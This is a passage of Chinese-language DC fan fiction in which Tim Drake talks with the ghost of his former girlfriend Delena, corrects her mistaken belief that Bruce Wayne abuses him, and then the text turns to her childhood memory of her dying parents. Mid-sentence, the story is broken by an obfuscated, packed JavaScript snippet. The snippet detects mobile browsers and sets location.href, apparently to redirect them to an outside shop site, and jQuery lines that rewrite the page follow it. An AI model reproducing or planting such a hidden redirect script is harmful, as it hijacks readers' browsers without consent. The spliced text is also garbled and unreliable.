死去之人再一次出现在面前,提摩西注视着德蕾娜,心中却并没有太多喜悦的情绪。


    跟魔法侧相关的专业人士混久了,提摩西了解了大量的有关灵魂相关的知识,他知道死去的灵魂会自然地升上天堂或是地狱,会滞留在人世的灵魂,唯有执念未消的横死之人。


    德蕾娜会有什么执念呢?


    她知道自己是非自然死亡吗?


    她又是以什么样的形态跟在他身边的呢?


    满腹的思绪被强行压下,提摩西的目光顺着她泪痕未消的脸缓缓下移,落在她的下半身。


    那里是一片模糊的,透明的虚影。


    现实与虚幻的边界,黄昏的某个时刻,会有不可视之物与人之子相见。


    一个深刻的,划分生死的鸿沟,将他和德蕾娜分割两岸,如今她的魂魄就站在那,鲜妍灵动仿佛生前。


    他无法确定自己是否要打破这条界限,将那死去的魂魄惊动。


    德蕾娜终于意识到提摩西正在注视着这边,这几乎给了她一种提摩西看到她的错觉。


    她慢慢擦去眼角的泪水,在她准备再一次转过头继续看夕阳之前,她听到提摩西轻声唤她的名字。


    “瑞娜。”


    她错愕回头,金棕色的眼睛里倒映着提摩西的影子,这一次真真切切的对视,让她意识到提摩西是真的在看她。


    “提米?”


    “嗯。”


    提摩西站起身,向着德蕾娜走去,一步,两步,最后在德蕾娜的面前站定,德蕾娜抬眸看他,却没能从他的眼底看到自己的倒影。


    “你现在可以看到我了?”德蕾娜已经回过神来,立刻就变了一副模样,那股高傲又矜持的神情再一次出现在她的脸上,“我就知道,你早上就是在故意忽视我!”


    “我是有点不确定。”提摩西伸出手,试探性地伸到德蕾娜的肩头,停顿半晌却迟迟没有落下去。


    他比德蕾娜要高一点,德蕾娜只能在他靠近的时候抬着头看他,见他这副犹犹豫豫的奇怪模样,顿时撇了撇嘴,主动抬起手,搭上了他的指尖。


    冰冷的触感顺着指尖交接的地方传递过来,提摩西顺势捏住了德蕾娜纤细的手指,在心中得出一个结论。


    逢魔之刻到来的时候,鬼魂就会与故人相见,甚至可以触碰到彼此。


    或许等之后可以再去试试其他的地点。


    他有点走神,德蕾娜立刻就发现了,这熟悉的仿佛回到他们约会的时候的感觉,顿时就让她不高兴起来。


    “为什么到了这个时候你还是这么喜欢走神?”她用力地从提摩西的手心把手抽出来,双臂环胸瞪着他。


    提摩西收回手,非常熟练地道歉,“抱歉,我实在是太惊讶了,瑞娜。”


    他自然地岔开话题,将注意力转移到德蕾娜的身上,“可以告诉我吗,你是怎么变成这幅样子的?这是在太——神奇了。”


    其实如果不是德蕾娜亲身经历了在死后变成有意识的鬼魂,甚至莫名其妙成为提摩西的背后灵,她几乎不会想到会有这么奇怪的事情出现在自己身上。


    就算她知道这个世界上活跃着很多擅长使用魔法的超级英雄,能够上天入地的超人,英武飒爽的神奇女侠,但是这些东西对于哥谭的一个普通人来说太遥远了。


    她所能接触到的唯一一个超级英雄就是哥谭本地土特产蝙蝠侠。


    “我不知道。”德蕾娜别开脸,闷闷地说:“我醒来就在我的葬礼上了,然后,然后就变成了你的背后灵。”


    背后灵。


    提摩西的大脑飞速运转起来,这个单词算是一个非常重要的讯息,这给他提供了一个有效的侦查方向。


    现在就只剩下一个最关键的问题,这涉及到他接下来该如何对待德蕾娜。


    “我猜你应该清醒的时间不算多?”


    很好,这么多年德蕾娜在他面前还是藏不住事,他赌对了,德蕾娜应该在某些时刻会处于昏睡状态,为什么昏睡?或许是在补充能量,又或许是触发了什么机制,让她不得不在某些时刻睡过去。


    那么,最后一个问题,德蕾娜看到了多少?


    “说到这个!”德蕾娜突然飙高的声音打断了提摩西的思考,他望过去的时候,就看到德蕾娜突然用一种既同情又怜悯的眼神看着他,甚至愿意上前一步,紧紧攥住了他的手臂,将他拉过来抱在了怀里。


    冰凉的带着熟悉的蔷薇香气的怀抱,让提摩西微微睁大了眼睛,整个人僵在了原地。


    “我都知道了,提米!”德蕾娜一想起提摩西身上那些伤疤,心中的怒火就止不住地往外冒。


    都知道了?知道什么了?


    提摩西原本僵住的动作显得更加僵硬了,他的心提了起来,但还是有些生疏地抬起手回拥住少女的脊背。


    他不知道该说什么,还是先听听德蕾娜怎么说吧。


    “我就知道那个可恶的韦恩不是什么好东西,他居然真的像媒体说的那样,是个虐待狂!”德蕾娜攥着提摩西的双臂,认真地与提摩西对视,“你不要害怕,我看见你身上的伤疤了,那不是你的错,你有没有感觉哪里难受,我可以一直在这里陪着你。”


    布,布鲁斯是虐待狂?


    这是怎么得出来的结论——哦,伤疤。


    提摩西顿悟过来,在意识到德蕾娜说的是什么之后,原本提着的心放松了下来,转而变得有点哭笑不得。


    虽然之前布鲁斯在哥谭的名声就不算好,有关他收养三个黑发蓝眼男孩的言论也是屡禁不止,可他没有想到还能在这里再给布鲁斯的坏名声上添上一笔。


    糟糕了,有点难办,他知道自己现在不能笑出来,但是真的有点想笑。


    他迅速地弯了一下眼睛,快的就像是风的错觉。


    德蕾娜没有注意到提摩西怪异的表情,她将这样的沉默当做是被戳穿心事的羞赧,于是更加同情了。


    “如果你有需要的话,我可以装鬼去吓唬他。”


    好半晌,德蕾娜似乎下定了某种决心,她现在已经有了两次触碰到实物的经验,接下来肯定还可以有第三次,第四次,她可以帮提摩西解气,去把那个糟糕的韦恩吓的不敢出门。


    反正她现在已经是鬼了,鬼的本职就应该吓人,她这样做也算是做回本职工作。


    那样会被布鲁斯制裁的吧。


    提摩西为德蕾娜的决定捏了一把汗,连忙制止了她,再这样让她误会下去,布鲁斯在她眼里就该是个十恶不赦的大混蛋了。


    布鲁斯是大混蛋,那作为养子和助手的他是什么,小混蛋吗?


    小混蛋提摩西张了张嘴,最后选择了一个较为合适的切入点。


    他微垂下眼睛,“你看到那些伤疤了?”


    德蕾娜严肃地点头,“当然。”


    很快她又像是想起什么似的,立刻撇过脸去,“当然,我不是故意看到的!是你自己,你自己没有穿好衣服。”


    “我当然知道你不是那样的人。”提摩西笑了起来,“但请你容我解释一下疤痕的由来,毕竟我不想让布鲁斯背负这样的骂名。”


    “什么?”德蕾娜愣了一下,有点茫然地看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483819|201905||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着他。


    “我身上的疤痕,都是一些极限运动留下的意外。”提摩西说:“你知道的,布鲁斯喜欢那些可以带来刺激感官的事物,而我有时候也会想要去放松一下心情。”


    德蕾娜缓缓地点头,“所以......”


    “所以你错怪布鲁斯了,瑞娜。”


    提摩西悠悠地说。


    “哦。”德蕾娜松开了攥着提摩西衣袖的手,显然是大脑陷入了一种认知被改写的混乱,但她最后还是像松了口气的样子,很快神色释然地笑了一下,“看来是我猜错了,请帮我对韦恩先生说一声抱歉吧。”


    “我会的。”他不会的。


    提摩西说。


    不知道出于何种心理,关于德蕾娜成为他背后灵这件事,他下意识地想要对布鲁斯隐瞒下来。


    她是尚且脆弱的新生魂魄,不能被太多生人看见或者知晓。


    这或许是危险的,是一个失控的先兆,但是,请允许他小小的任性一下吧。


    解除了误会之后,接下来就该是提摩西的主场了。


    他事无巨细地将德蕾娜成为鬼魂之后的经历摸索了个透彻,直到办公室的门被助理敲响。


    “德雷克先生,晚宴还有一个小时就要开始了,您需要现在换衣服吗?”


    “马上来!”


    提摩西回过头回应了一声,而后转过头想要再叮嘱德蕾娜几句,可这一次他却只看到了落地窗外华灯初上的绚烂灯火。


    办公室内再次安静下来。


    “瑞娜?”


    他放轻了声音呼唤德蕾娜的名字。


    “我在呢。”


    德蕾娜其实觉得自己有点困,但还是强撑着回应他。


    只可惜伴随着夕阳余晖彻底隐匿于夜幕,她和提摩西短暂的交流也止于此时。


    她感觉自己的身体缓缓飘了起来,好似灵魂都没有了重量。


    今天说了很多话,很开心。


    接下来,或许就是期待下一次的见面吧?


    她闭上眼睛,再一次陷入了沉眠。


    这一次,她仿佛再一次回到了童年,那段父母尚在的美梦里。


    “妈咪。”小德蕾娜抱着毛绒小熊,走在对于她有点过于空荡荡的哈提斯老宅里,昏暗的走廊内,唯有尽头主卧半掩着的门传来些许温暖明亮的光。


    今天爸爸和妈妈终于回家里来住了吗,好开心。


    小德蕾娜放轻了脚步,她实在有点过于瘦弱的脸上露出一个欢喜的笑容,将怀里的毛绒小熊抱紧了一些,悄悄地躲在门边,想要听听爸爸妈妈在说什么悄悄话。


    “......咳,现在最重要的......是......书房的那个......”


    安东尼奥·哈提斯的声音断断续续,他的喉咙因为咳嗽而有些沙哑,但还是没有停下,继续说着。


    “我知道......可是,呜......我可怜的瑞娜,她该怎么办呢?”


    妈妈压抑的低泣声被爸爸轻轻的咳嗽声逐渐掩盖,小德蕾娜蹲在门边,懵懂地透过门缝,看到了父亲压抑着的因病痛而颤抖的脊背。


    而后爸爸转过身,余光瞥见了门外小小的身影,在僵硬片刻之后,苍白的面容柔和了许多。


    “瑞娜?来,来爸爸这儿。”


    妈妈也跟着爸爸的动作一起转过脸来,对着小德蕾娜张开了怀抱。


    “瑞娜,我们的瑞娜......”


    “哈提斯家的珍宝,我们的小蔷薇。”


    “你一定......一定要活下去啊。”